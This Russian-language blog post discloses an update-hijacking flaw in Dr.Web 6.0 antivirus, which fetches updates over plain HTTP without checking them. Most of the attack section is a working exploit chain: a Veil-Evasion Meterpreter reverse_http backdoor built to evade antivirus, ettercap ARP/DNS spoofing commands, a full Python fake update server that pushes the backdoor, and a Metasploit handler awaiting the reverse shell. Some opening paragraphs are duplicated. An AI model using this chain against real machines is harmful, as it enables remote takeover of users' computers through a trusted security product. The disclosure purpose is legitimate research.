В этой статье я хочу более подробно рассказать о проблемах протокола обновления в антивирусе Dr.Web, благодаря чему, в случае перехвата трафика, становится возможным подмена компонентов антивируса и выполнение произвольного кода. Информацию об уязвимости я впервые увидел в материалах конференции SyScan2014 в презентации Breaking Antivirus Software (Joxean Koret), и т.к. факт наличия уязвимости уже известен, то особого смысла в еще одной публикации не было. По крайне мере, до одного момента.
В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.
В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.
Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:
Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Процесс выполняется в следующей последовательности:
На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.
Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.
В обсуждении статьи «Данные около 70 000 карт были скомпрометированы на платежном шлюзе РЖД» меня искренне удивила реакция некоторых читателей, и предположительно одного из сотрудников компании Dr.Web, который отказался признавать наличие проблем в ПО. Поэтому, было решено самому разобраться в деталях, а также проверить возможность эксплуатации. Надеюсь, эта публикация поспособствует скорейшему исправлению ситуации.
Исходные данные:
В качестве «подопытного» выбран Dr.Web версии 6.0, как обладающий множеством сертификатов: ФСТЭК, ФСБ, Минобороны РФ. Остальные версии не рассматривались, так что, возможно в них присутствуют аналогичные проблемы, а возможно и нет. В ходе эксперимента все настройки антивируса выставлены по-умолчанию, встроенная защита НЕ отключалась. В качестве операционной системы используется Windows 7.
Подробный список программных модулей антивируса и их версий на момент тестирования
- Dr.Web ® Virus-Finding Engine drweb32.dll (7.00.9.04080)
- Dr.Web ® Scanning Engine dwengine.exe (7.0.1.05020 (Build 9393))
- Dr.Web ® Windows Action Center Integration dwsewsc.exe (7.0.1.05020 (Build 9393))
- Dr.Web File System Monitor spiderg3.sys (6.0.10.12290)
- Dr.Web Protection for Windows dwprot.sys (7.0.0.08090)
- SpIDer Agent for Windows spideragent.exe (6.0.5.10310)
- SpIDer Agent admin-mode module for Windows spideragent_adm.exe (6.0.5.10310)
- SpIDer Agent settings module for Windows spideragent_set.exe (6.0.5.10310)
- SpIDer Mail ® for Windows Workstation spiderml.exe (6.0.3.08040)
- SpIDer Mail ® for Windows Workstation settings module spml_set.exe (6.0.3.08040)
- Dr.Web Winsock Provider Hook drwebsp.dll (6.0.1.04140)
- Dr.Web Winsock Provider Hook drwebsp64.dll (6.0.1.04140)
- Dr.Web© Scanner for Windows drweb32w.exe (6.00.16.01270)
- Dr.Web ® Console Scanner dwscancl.exe (7.0.1.05020 (Build 9393))
- Dr.Web ® Shell Extension drwsxtn.dll (6.00.1.201103100)
- Dr.Web ® Shell Extension drwsxtn64.dll (6.00.1.201103100)
- Dr.Web Updater for Windows drwebupw.exe (6.00.15.201301210)
- Dr.Web Helper drwreg.exe (6.00.12.201102110)
- Dr.Web SysInfo dwsysinfo.exe (7.00.3.201204270)
- DrWeb ® Quarantine Manager dwqrui.exe (7.0.1.05020 (Build 9393))
- Dr.Web Adds-on unpacker drwadins.exe (6.00.0.02270)
- Dr.Web ® for Microsoft Outlook Settings drwebsettingprocess.exe (6.00.0.201101130)
- Dr.Web ® for Microsoft Outlook Messages drwmsg.dll (6.00.0.201101130)
- Dr.Web ® for Microsoft Outlook drwebforoutlook.dll (6.00.0.201101130)
Для эксплуатации уязвимости необходимо, чтобы атакующий имел возможность перенаправления трафика пользователя (например, вследствие подмены DNS-сервера, отравления ARP кэша или как-то еще). Для простоты эксперимента, в тестовой среде компьютеры клиента и злоумышленника находятся в одной сети:
Описание уязвимости
Для скачивания обновлений со своих серверов, Dr.Web использует http протокол, т.е. данные передаются в открытом виде.
Список серверов обновления
- update.geo.drweb.com
- update.drweb.com
- update.msk.drweb.com
- update.us.drweb.com
- update.msk5.drweb.com
- update.msk6.drweb.com
- update.fr1.drweb.com
- update.us1.drweb.com
- update.kz.drweb.com
- update.nsk1.drweb.com
Процесс выполняется в следующей последовательности:
- Запрос метки времени — timestamp
Пример запросаGET /x64/600/av/windows/timestamp
HTTP/1.1 Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:36 GMT
Content-Type: application/octet-stream
Content-Length: 10
Last-Modified: Sat, 19 Apr 2014 09:26:19 GMT
Connection: keep-alive
Accept-Ranges: bytes
1397898695
- Запрос дополнительной информации (актуальная версия антивируса и некоторые другие данные) – файл drweb32.flg
Пример запросаGET /x64/600/av/windows/drweb32.flg HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42 Date: Sat, 19 Apr 2014 10:33:37 GMT
Content-Type: application/octet-stream
Content-Length: 336 Last-Modified: Wed, 23 Jan 2013 09:42:21 GMT
Connection: keep-alive
Accept-Ranges: bytes [windows]
LinkNews=http://news.drweb.com/flag+800/
LinkDownload=http://download.geo.drweb.com/pub/drweb/windows/8.0/drweb-800-win.exe
FileName=
isTime=1
TimeX=1420122293
cmdLine=
Type=1
ExcludeOS=2k|xp64
ExcludeDwl=ja
ExcludeLCID=17|1041
[signature]
sign=7077D2333EA900BCF30E479818E53447CA388597B3AC20B7B0471225FDE69066E8AC4C291F364077
- Запрос списка обновляемых компонентов системы – файл drweb32.lst.lzma
Пример запросаGET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 259e9b92fa099939d198dbd82c106f95
X-DrWeb-KeyNumber: 0110258647
X-DrWeb-SysHash: E2E8203CB505AE00939EEC9C1D58D0E4
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7601)
Connection: Keep-Alive Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 10:33:39 GMT
Content-Type: application/octet-stream
Content-Length: 2373
Last-Modified: Sat, 19 Apr 2014 10:23:08 GMT
Connection: keep-alive
Accept-Ranges: bytes
].....#.......-.
..x.3..x. .**..C.......d...X..7..vB.*P]c...<....^.,.2..c.?.>y....!.(,..*...sA.U.pM..,.......hG....j.*.............F...:. ..!Z.....h..}...(Y1k.....}...F..-....J...............|...3.;.....5.."...S.K`.)
.Kjx$,....u.5..~.}UX.E… (другие данные опущены)
Запрашиваемый файл представляет собой архив, сжатый по алгоритму lzma (используется в 7-Zip). После распаковки сам файл выглядит примерно так:
[DrWebUpdateList] [500] +timestamp, 8D17F12F +lang.lst, EDCB0715 +update.drl, AB6FA8BE +drwebupw.exe, 8C879982 +drweb32.dll, B73749FD +drwebase.vdb, C5CBA22F … +<wnt>%SYSDIR64%\drivers\dwprot.sys, 3143EB8D +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwengine.exe, 8097D92B +<wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\dwinctl.dll, A18AEA4A ... [DrWebUpdateListEnd]
Шестнадцатеричные значения рядом с именами файлов представляют собой контрольные суммы файлов, вычисленные по алгоритму crc32. В данном случае, контрольные суммы используются для поддержания «версионности» файлов.
Также можно увидеть, что механизм обновлений может использовать переменные среды, вроде %CommonProgramFiles%, %SYSDIR64% и т.д. – т.е. файлы можно заливать не только в папку Dr.Web, но и другие системные директории
- Скачивание файлов
Пример запросаGET /x86/600/av/windows/dwrtoday.vdb HTTP/1.1
Accept: */*
Host: update.drweb.com
X-DrWeb-Validate: 741d1186c47dc500ab5a60629579d8cf
X-DrWeb-KeyNumber: 0110242389
X-DrWeb-SysHash: 08AA5F775FD38D161E2221928D10903F
User-Agent: DrWebUpdate-6.00.15.06220 (windows: 6.01.7600)
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx/42
Date: Sat, 19 Apr 2014 02:02:36 GMT
Content-Type: application/octet-stream
Content-Length: 5712
Last-Modified: Sat, 19 Apr 2014 01:31:32 GMT
Connection: keep-alive
Accept-Ranges: bytes
Dr.Web ® version 4.20+ Anti-Virus Database
Copyright © by Igor Daniloff, 1998-2014
Created by Doctor Web Anti-Virus Labs, St.Petersburg
IDRW4...CR/.U.._.C..9G.~\J....6G....}u...y$_naykP...x...........h… ................J.....QS................7..(другие данные опущены)
В том случае, если контрольные суммы файлов из полученного списка обновления отличаются от используемых, то клиент запрашивает патч существующего:
GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f
Если патч получить не удается или файла ранее не было в системе, то идет запрос на новый файл целиком:
GET /x64/600/av/windows/drwebupw.exe
Обновляемые файлы также идут без каких-либо проверок, в открытом виде, либо просто запакованые lzma.
- Обновление файлов
После процедуры скачивания файлов, происходит замена старых. При этом дополнительных проверок также не производится. Например, как будет показано далее, Dr.Web без проблем принял сгенерированный пэйлоад из метасплойта вместо родного drwebupw.exe.
На этом в принципе все. Как можно заметить, никаких проверок на оригинальность обновления не проводится и можно попробовать провести MitM атаку и подменить файлы на свои.
Эксплуатация
- Создаем собственный бэкдор, который бы выполнился на компьютере-клиенте и передал управление злоумышленнику. Для этого можно использовать нагрузку Meterpreter из проекта Metasploit Framework, дополнительно прогнав через Veil-Evasion для обхода антивируса. На выходе получаем файл drwebupw.exe, который в дальнейшем заменит оригинальный компонент антивируса клиента при обновлении.
Процесс создания бэкдора (c/meterpreter/rev_http )========================================================================= Veil-Evasion | [Version]: 2.7.0 ========================================================================= [Web]: https://www.veil-framework.com/ | [Twitter]: @VeilFramework ========================================================================= Main Menu 29 payloads loaded Available commands: use use a specific payload info information on a specific payload list list available payloads update update Veil to the latest version clean clean out payload folders checkvt check payload hashes vs. VirusTotal exit exit Veil [>] Please enter a command: list [*] Available payloads: 1) auxiliary/coldwar_wrapper 2) auxiliary/pyinstaller_wrapper 3) c/meterpreter/rev_http 4) c/meterpreter/rev_http_service 5) c/meterpreter/rev_tcp 6) c/meterpreter/rev_tcp_service 7) c/shellcode_inject/virtual 8) c/shellcode_inject/void 9) cs/meterpreter/rev_tcp 10) cs/shellcode_inject/base64_substitution 11) cs/shellcode_inject/virtual 12) native/Hyperion 13) native/backdoor_factory 14) native/pe_scrambler 15) powershell/shellcode_inject/download_virtual 16) powershell/shellcode_inject/psexec_virtual 17) powershell/shellcode_inject/virtual 18) python/meterpreter/rev_http 19) python/meterpreter/rev_http_contained 20) python/meterpreter/rev_https 21) python/meterpreter/rev_https_contained 22) python/meterpreter/rev_tcp 23) python/shellcode_inject/aes_encrypt 24) python/shellcode_inject/arc_encrypt 25) python/shellcode_inject/base64_substitution 26) python/shellcode_inject/des_encrypt 27) python/shellcode_inject/flat 28) python/shellcode_inject/letter_substitution 29) python/shellcode_inject/pidinject [>] Please enter a command: use 3 [>] Please enter a command: set LHOST 10.0.1.106 [>] Please enter a command: generate [>] Please enter the base name for output files: drwebupw [*] Executable written to: /root/veil-output/compiled/drwebupw.exe
- Используя arp-спуфинг, перенаправляем запросы клиента на хост злоумышленника. В качестве инструмента можно использовать утилиту ettercap и модуль dns_spoof. Добавляем хосты, используемые для обновления Dr.Web в список перенаправления ettercap. В принципе достаточно одного адреса update.geo.drweb.com (т.к. он проверяется первым):
echo “update.geo.drweb.com A 10.0.1.106” >> /etc/ettercap/etter.dns
Далее запускаем непосредственно процедуру отравления arp-кэша и подмены dns:
ettercap -i eth0 -T -P dns_spoof -M arp:remote /10.0.1.1/ /10.0.1.102/
Таким образом, трафик после эксплуатации пойдет по следующей схеме:
- Эмулируем сервер обновления Dr.Web для выдачи клиенту специально подготовленного файла. Для этого был написан небольшой python-скрипт, который:
- Принимает входящее соединение
- Формирует метку времени и отвечает на запрос timestamp
- Формирует файл с дополнительной информацией drweb32.flg
- Формирует файл со списком обновлений и запаковывает его в lzma архив drweb32.lst.lzma
- Отдает фейковое обновление на запрос клиента
drweb_http_server.py#!/usr/bin/python #encoding: utf-8 import SocketServer import SimpleHTTPServer import time import lzma import os import binascii from struct import * from subprocess import call #Непосредственно обработчик http запросов от клиента Dr.Web class HttpRequestHandler (SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): if 'timestamp' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('timestamp').read()) elif 'drweb32.flg' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.flg').read()) elif 'drweb32.lst.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open('drweb32.lst.lzma').read()) elif UPLOAD_FILENAME + '.lzma' in self.path: self.send_response(200) self.end_headers() self.wfile.write(open(UPLOAD_FILENAME + '.lzma').read()) #Клиент первоначально запрашивает патч для обновившегося файла, #а если не получает его - запрашивает файл целиком elif UPLOAD_FILENAME + '.patch' in self.path: self.send_response(404) self.end_headers() else: print self.path def CRC32_from_file(filename): buf = open(filename,'rb').read() buf = (binascii.crc32(buf) & 0xFFFFFFFF) return "%08X" % buf def create_timestamp_file(): with open('timestamp','w') as f: f.write('%s'%int(time.time())) def create_lst_file(upload_filename,upload_path): # upload_path может принимать: # пустые значения, что значит что файл находится непосредственно в директории Dr.Web # либо значения вида <wnt>%SYSDIR64%\drivers\, <wnt>%CommonProgramFiles%\Doctor Web\Scanning Engine\ и т.д. crc32 = CRC32_from_file(upload_filename) with open('drweb32.lst','w') as f: f.write('[DrWebUpdateList]\n') f.write('[500]\n') f.write('+%s, %s\n' % (upload_path+upload_filename,crc32)) f.write('[DrWebUpdateListEnd]\n') #по какой-то причине встроенная в Linux утилита lzma в создаваемом файле не указывает размер исходного файла #без этого параметра Dr.Web отказывается принимать файлы, поэтому правим руками def edit_file_size(lzma_filename,orig_filename): file_size = os.stat(orig_filename).st_size with open(lzma_filename,'r+b') as f: f.seek(5) bsize = pack('l',file_size) f.write(bsize) #загружаемый файл должен находится в одной папке со скриптом UPLOAD_FILENAME = 'drwebupw.exe' #создаем метку времени create_timestamp_file() #создаем файл со списком обновляемых файлов, для упаковки в lzma используем встроенную утилиту create_lst_file(UPLOAD_FILENAME,'') call(['lzma', '-k', '-f','drweb32.lst']) edit_file_size('drweb32.lst.lzma','drweb32.lst') #архивируем файл с фейковым обновлением call(['lzma', '-k', '-f',UPLOAD_FILENAME]) edit_file_size(UPLOAD_FILENAME + '.lzma',UPLOAD_FILENAME) print 'Http Server started...' httpServer=SocketServer.TCPServer(('',80),HttpRequestHandler) httpServer.serve_forever()
При запуске, скрипт начнет принимать соединения и в ответ на запрос обновления выдаст фейковое обновление для файла drwebupw.exe
python drweb_http_server.py Http Server started... 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/timestamp HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:24] "GET /x64/600/av/windows/drweb32.flg HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:26] "GET /x64/600/av/windows/drweb32.lst.lzma HTTP/1.1" 200 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.patch_8c879982_fd933b5f HTTP/1.1" 404 - 10.0.1.102 - - [20/Apr/2014 10:48:27] "GET /x64/600/av/windows/drwebupw.exe.lzma HTTP/1.1" 200 –
Клиент успешно его примет и перезапишет оригинальный компонент:
- Запускаем обработчик соединения от бэкдора:
$ msfconsole msf > use exploit/multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_http PAYLOAD => windows/meterpreter/reverse_http msf exploit(handler) > set LHOST 10.0.1.106 LHOST => 10.0.1.106 msf exploit(handler) > set LPORT 8080 LPORT => 8080 msf exploit(handler) > run [*] Started HTTP reverse handler on http://10.0.1.106:8080/ [*] Starting the payload handler...
Если все прошло нормально, то при очередной попытке обновиться, от клиента придет коннект:
На этом можно считать, что хост клиента скомпрометирован – мы получили доступ к файловой системе, возможность выполнять любые команды и т.д. Можно было действовать не так топорно, а лишь изменить некоторый функционал антивируса и таким образом оставаться незаметным более долгое время.
Выводы
Как было показано выше, уязвимость в Dr.Web 6 действительно присутствует и подобные атаки вполне могут быть реализованы и в боевых условиях. Так что остается надеяться на трезвый взгляд компании-разработчика. Писать о реальной бесполезности сертификации не буду, уже не раз обсуждалось.